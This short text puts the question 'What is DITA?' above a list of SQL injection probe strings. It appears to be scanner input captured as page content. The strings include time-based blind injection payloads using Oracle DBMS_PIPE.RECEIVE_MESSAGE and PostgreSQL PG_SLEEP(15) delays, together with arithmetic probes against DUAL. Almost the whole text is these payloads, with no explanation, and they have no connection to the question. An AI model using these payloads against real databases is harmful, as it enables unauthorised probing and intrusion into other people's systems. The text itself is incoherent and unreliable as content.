What is DITA?

(select 198766*667891 from DUAL)

(select 198766*667891)

@@Q3ZtD

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'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

NClpHt8U')) OR 285=(SELECT 285 FROM PG_SLEEP(15))--

CNp7Cqu5') OR 500=(SELECT 500 FROM PG_SLEEP(15))--

nzdarZKe' OR 655=(SELECT 655 FROM PG_SLEEP(15))--